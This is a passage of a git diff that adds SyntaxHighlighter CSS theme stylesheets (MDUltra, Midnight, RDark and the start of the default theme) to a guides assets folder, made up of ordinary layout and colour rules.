+.syntaxhighlighter.printing .functions {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+ color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+ font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+ color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+ color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+ color: black !important;
+}
+
+.syntaxhighlighter {
+ background-color: #121212 !important;
+}
+.syntaxhighlighter .line.alt1 {
+ background-color: #121212 !important;
+}
+.syntaxhighlighter .line.alt2 {
+ background-color: #121212 !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+ background-color: #2c2c29 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+ color: white !important;
+}
+.syntaxhighlighter table caption {
+ color: white !important;
+}
+.syntaxhighlighter .gutter {
+ color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+ border-right: 3px solid #3185b9 !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+ background-color: #3185b9 !important;
+ color: #121212 !important;
+}
+.syntaxhighlighter.printing .line .content {
+ border: none !important;
+}
+.syntaxhighlighter.collapsed {
+ overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ color: #3185b9 !important;
+ background: black !important;
+ border: 1px solid #3185b9 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+ color: #3185b9 !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+ color: #d01d33 !important;
+}
+.syntaxhighlighter .toolbar {
+ color: white !important;
+ background: #3185b9 !important;
+ border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+ color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+ color: #96daff !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+ color: white !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+ color: #696854 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+ color: #e3e658 !important;
+}
+.syntaxhighlighter .keyword {
+ color: #d01d33 !important;
+}
+.syntaxhighlighter .preprocessor {
+ color: #435a5f !important;
+}
+.syntaxhighlighter .variable {
+ color: #898989 !important;
+}
+.syntaxhighlighter .value {
+ color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+ color: #aaaaaa !important;
+}
+.syntaxhighlighter .constants {
+ color: #96daff !important;
+}
+.syntaxhighlighter .script {
+ font-weight: bold !important;
+ color: #d01d33 !important;
+ background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+ color: #ffc074 !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+ color: #4a8cdb !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+ color: #96daff !important;
+}
+
+.syntaxhighlighter .functions {
+ font-weight: bold !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shCoreMDUltra.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreMDUltra.css
new file mode 100644
index 0000000..2923ce7
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreMDUltra.css
@@ -0,0 +1,324 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+ -moz-border-radius: 0 0 0 0 !important;
+ -webkit-border-radius: 0 0 0 0 !important;
+ background: none !important;
+ border: 0 !important;
+ bottom: auto !important;
+ float: none !important;
+ height: auto !important;
+ left: auto !important;
+ line-height: 1.1em !important;
+ margin: 0 !important;
+ outline: 0 !important;
+ overflow: visible !important;
+ padding: 0 !important;
+ position: static !important;
+ right: auto !important;
+ text-align: left !important;
+ top: auto !important;
+ vertical-align: baseline !important;
+ width: auto !important;
+ box-sizing: content-box !important;
+ font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+ font-weight: normal !important;
+ font-style: normal !important;
+ font-size: 1em !important;
+ min-height: inherit !important;
+ min-height: auto !important;
+}
+
+.syntaxhighlighter {
+ width: 100% !important;
+ margin: 1em 0 1em 0 !important;
+ position: relative !important;
+ overflow: auto !important;
+ font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+ overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+ font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+ font-style: italic !important;
+}
+.syntaxhighlighter .line {
+ white-space: pre !important;
+}
+.syntaxhighlighter table {
+ width: 100% !important;
+}
+.syntaxhighlighter table caption {
+ text-align: left !important;
+ padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+ width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+ position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+ box-sizing: border-box !important;
+ position: absolute !important;
+ left: 0 !important;
+ top: 0 !important;
+ width: 100% !important;
+ height: 100% !important;
+ border: none !important;
+ background: white !important;
+ padding-left: 1em !important;
+ overflow: hidden !important;
+ white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+ text-align: right !important;
+ padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+ padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+ padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+ display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+ display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ padding: 0.1em 0.8em 0em 0.8em !important;
+ font-size: 1em !important;
+ position: static !important;
+ width: auto !important;
+ height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+ display: inline !important;
+ margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+ padding: 0 !important;
+ display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+ display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+ position: absolute !important;
+ right: 1px !important;
+ top: 1px !important;
+ width: 11px !important;
+ height: 11px !important;
+ font-size: 10px !important;
+ z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+ display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+ display: block !important;
+ text-align: center !important;
+ text-decoration: none !important;
+ padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+ display: none !important;
+}
+.syntaxhighlighter.ie {
+ font-size: .9em !important;
+ padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+ line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+ padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+ background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+ color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+ color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+ display: none !important;
+}
+.syntaxhighlighter.printing a {
+ text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+ color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+ color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+ color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+ color: #006699 !important;
+ font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+ color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+ color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+ color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+ color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+ font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+ color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+ color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+ color: black !important;
+}
+
+.syntaxhighlighter {
+ background-color: #222222 !important;
+}
+.syntaxhighlighter .line.alt1 {
+ background-color: #222222 !important;
+}
+.syntaxhighlighter .line.alt2 {
+ background-color: #222222 !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+ background-color: #253e5a !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+ color: white !important;
+}
+.syntaxhighlighter table caption {
+ color: lime !important;
+}
+.syntaxhighlighter .gutter {
+ color: #38566f !important;
+}
+.syntaxhighlighter .gutter .line {
+ border-right: 3px solid #435a5f !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+ background-color: #435a5f !important;
+ color: #222222 !important;
+}
+.syntaxhighlighter.printing .line .content {
+ border: none !important;
+}
+.syntaxhighlighter.collapsed {
+ overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ color: #428bdd !important;
+ background: black !important;
+ border: 1px solid #435a5f !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+ color: #428bdd !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+ color: lime !important;
+}
+.syntaxhighlighter .toolbar {
+ color: #aaaaff !important;
+ background: #435a5f !important;
+ border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+ color: #aaaaff !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+ color: #9ccff4 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+ color: lime !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+ color: #428bdd !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+ color: lime !important;
+}
+.syntaxhighlighter .keyword {
+ color: #aaaaff !important;
+}
+.syntaxhighlighter .preprocessor {
+ color: #8aa6c1 !important;
+}
+.syntaxhighlighter .variable {
+ color: aqua !important;
+}
+.syntaxhighlighter .value {
+ color: #f7e741 !important;
+}
+.syntaxhighlighter .functions {
+ color: #ff8000 !important;
+}
+.syntaxhighlighter .constants {
+ color: yellow !important;
+}
+.syntaxhighlighter .script {
+ font-weight: bold !important;
+ color: #aaaaff !important;
+ background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+ color: red !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+ color: yellow !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+ color: #ffaa3e !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shCoreMidnight.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreMidnight.css
new file mode 100644
index 0000000..e3733ee
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreMidnight.css
@@ -0,0 +1,324 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+ -moz-border-radius: 0 0 0 0 !important;
+ -webkit-border-radius: 0 0 0 0 !important;
+ background: none !important;
+ border: 0 !important;
+ bottom: auto !important;
+ float: none !important;
+ height: auto !important;
+ left: auto !important;
+ line-height: 1.1em !important;
+ margin: 0 !important;
+ outline: 0 !important;
+ overflow: visible !important;
+ padding: 0 !important;
+ position: static !important;
+ right: auto !important;
+ text-align: left !important;
+ top: auto !important;
+ vertical-align: baseline !important;
+ width: auto !important;
+ box-sizing: content-box !important;
+ font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+ font-weight: normal !important;
+ font-style: normal !important;
+ font-size: 1em !important;
+ min-height: inherit !important;
+ min-height: auto !important;
+}
+
+.syntaxhighlighter {
+ width: 100% !important;
+ margin: 1em 0 1em 0 !important;
+ position: relative !important;
+ overflow: auto !important;
+ font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+ overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+ font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+ font-style: italic !important;
+}
+.syntaxhighlighter .line {
+ white-space: pre !important;
+}
+.syntaxhighlighter table {
+ width: 100% !important;
+}
+.syntaxhighlighter table caption {
+ text-align: left !important;
+ padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+ width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+ position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+ box-sizing: border-box !important;
+ position: absolute !important;
+ left: 0 !important;
+ top: 0 !important;
+ width: 100% !important;
+ height: 100% !important;
+ border: none !important;
+ background: white !important;
+ padding-left: 1em !important;
+ overflow: hidden !important;
+ white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+ text-align: right !important;
+ padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+ padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+ padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+ display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+ display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ padding: 0.1em 0.8em 0em 0.8em !important;
+ font-size: 1em !important;
+ position: static !important;
+ width: auto !important;
+ height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+ display: inline !important;
+ margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+ padding: 0 !important;
+ display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+ display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+ position: absolute !important;
+ right: 1px !important;
+ top: 1px !important;
+ width: 11px !important;
+ height: 11px !important;
+ font-size: 10px !important;
+ z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+ display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+ display: block !important;
+ text-align: center !important;
+ text-decoration: none !important;
+ padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+ display: none !important;
+}
+.syntaxhighlighter.ie {
+ font-size: .9em !important;
+ padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+ line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+ padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+ background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+ color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+ color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+ display: none !important;
+}
+.syntaxhighlighter.printing a {
+ text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+ color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+ color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+ color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+ color: #006699 !important;
+ font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+ color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+ color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+ color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+ color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+ font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+ color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+ color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+ color: black !important;
+}
+
+.syntaxhighlighter {
+ background-color: #0f192a !important;
+}
+.syntaxhighlighter .line.alt1 {
+ background-color: #0f192a !important;
+}
+.syntaxhighlighter .line.alt2 {
+ background-color: #0f192a !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+ background-color: #253e5a !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+ color: #38566f !important;
+}
+.syntaxhighlighter table caption {
+ color: #d1edff !important;
+}
+.syntaxhighlighter .gutter {
+ color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+ border-right: 3px solid #435a5f !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+ background-color: #435a5f !important;
+ color: #0f192a !important;
+}
+.syntaxhighlighter.printing .line .content {
+ border: none !important;
+}
+.syntaxhighlighter.collapsed {
+ overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ color: #428bdd !important;
+ background: black !important;
+ border: 1px solid #435a5f !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+ color: #428bdd !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+ color: #1dc116 !important;
+}
+.syntaxhighlighter .toolbar {
+ color: #d1edff !important;
+ background: #435a5f !important;
+ border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+ color: #d1edff !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+ color: #8aa6c1 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+ color: #d1edff !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+ color: #428bdd !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+ color: #1dc116 !important;
+}
+.syntaxhighlighter .keyword {
+ color: #b43d3d !important;
+}
+.syntaxhighlighter .preprocessor {
+ color: #8aa6c1 !important;
+}
+.syntaxhighlighter .variable {
+ color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+ color: #f7e741 !important;
+}
+.syntaxhighlighter .functions {
+ color: #ffaa3e !important;
+}
+.syntaxhighlighter .constants {
+ color: #e0e8ff !important;
+}
+.syntaxhighlighter .script {
+ font-weight: bold !important;
+ color: #b43d3d !important;
+ background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+ color: #f8bb00 !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+ color: white !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+ color: #ffaa3e !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shCoreRDark.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreRDark.css
new file mode 100644
index 0000000..d093683
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreRDark.css
@@ -0,0 +1,324 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+ -moz-border-radius: 0 0 0 0 !important;
+ -webkit-border-radius: 0 0 0 0 !important;
+ background: none !important;
+ border: 0 !important;
+ bottom: auto !important;
+ float: none !important;
+ height: auto !important;
+ left: auto !important;
+ line-height: 1.1em !important;
+ margin: 0 !important;
+ outline: 0 !important;
+ overflow: visible !important;
+ padding: 0 !important;
+ position: static !important;
+ right: auto !important;
+ text-align: left !important;
+ top: auto !important;
+ vertical-align: baseline !important;
+ width: auto !important;
+ box-sizing: content-box !important;
+ font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+ font-weight: normal !important;
+ font-style: normal !important;
+ font-size: 1em !important;
+ min-height: inherit !important;
+ min-height: auto !important;
+}
+
+.syntaxhighlighter {
+ width: 100% !important;
+ margin: 1em 0 1em 0 !important;
+ position: relative !important;
+ overflow: auto !important;
+ font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+ overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+ font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+ font-style: italic !important;
+}
+.syntaxhighlighter .line {
+ white-space: pre !important;
+}
+.syntaxhighlighter table {
+ width: 100% !important;
+}
+.syntaxhighlighter table caption {
+ text-align: left !important;
+ padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+ width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+ position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+ box-sizing: border-box !important;
+ position: absolute !important;
+ left: 0 !important;
+ top: 0 !important;
+ width: 100% !important;
+ height: 100% !important;
+ border: none !important;
+ background: white !important;
+ padding-left: 1em !important;
+ overflow: hidden !important;
+ white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+ text-align: right !important;
+ padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+ padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+ padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+ display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+ display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ padding: 0.1em 0.8em 0em 0.8em !important;
+ font-size: 1em !important;
+ position: static !important;
+ width: auto !important;
+ height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+ display: inline !important;
+ margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+ padding: 0 !important;
+ display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+ display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+ position: absolute !important;
+ right: 1px !important;
+ top: 1px !important;
+ width: 11px !important;
+ height: 11px !important;
+ font-size: 10px !important;
+ z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+ display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+ display: block !important;
+ text-align: center !important;
+ text-decoration: none !important;
+ padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+ display: none !important;
+}
+.syntaxhighlighter.ie {
+ font-size: .9em !important;
+ padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+ line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+ padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+ background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+ color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+ color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+ display: none !important;
+}
+.syntaxhighlighter.printing a {
+ text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+ color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+ color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+ color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+ color: #006699 !important;
+ font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+ color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+ color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+ color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+ color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+ font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+ color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+ color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+ color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+ color: black !important;
+}
+
+.syntaxhighlighter {
+ background-color: #1b2426 !important;
+}
+.syntaxhighlighter .line.alt1 {
+ background-color: #1b2426 !important;
+}
+.syntaxhighlighter .line.alt2 {
+ background-color: #1b2426 !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+ background-color: #323e41 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+ color: #b9bdb6 !important;
+}
+.syntaxhighlighter table caption {
+ color: #b9bdb6 !important;
+}
+.syntaxhighlighter .gutter {
+ color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+ border-right: 3px solid #435a5f !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+ background-color: #435a5f !important;
+ color: #1b2426 !important;
+}
+.syntaxhighlighter.printing .line .content {
+ border: none !important;
+}
+.syntaxhighlighter.collapsed {
+ overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+ color: #5ba1cf !important;
+ background: black !important;
+ border: 1px solid #435a5f !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+ color: #5ba1cf !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+ color: #5ce638 !important;
+}
+.syntaxhighlighter .toolbar {
+ color: white !important;
+ background: #435a5f !important;
+ border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+ color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+ color: #e0e8ff !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+ color: #b9bdb6 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+ color: #878a85 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+ color: #5ce638 !important;
+}
+.syntaxhighlighter .keyword {
+ color: #5ba1cf !important;
+}
+.syntaxhighlighter .preprocessor {
+ color: #435a5f !important;
+}
+.syntaxhighlighter .variable {
+ color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+ color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+ color: #ffaa3e !important;
+}
+.syntaxhighlighter .constants {
+ color: #e0e8ff !important;
+}
+.syntaxhighlighter .script {
+ font-weight: bold !important;
+ color: #5ba1cf !important;
+ background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+ color: #e0e8ff !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+ color: white !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+ color: #ffaa3e !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeDefault.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeDefault.css
new file mode 100644
index 0000000..1365411
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeDefault.css
@@ -0,0 +1,117 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ *
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
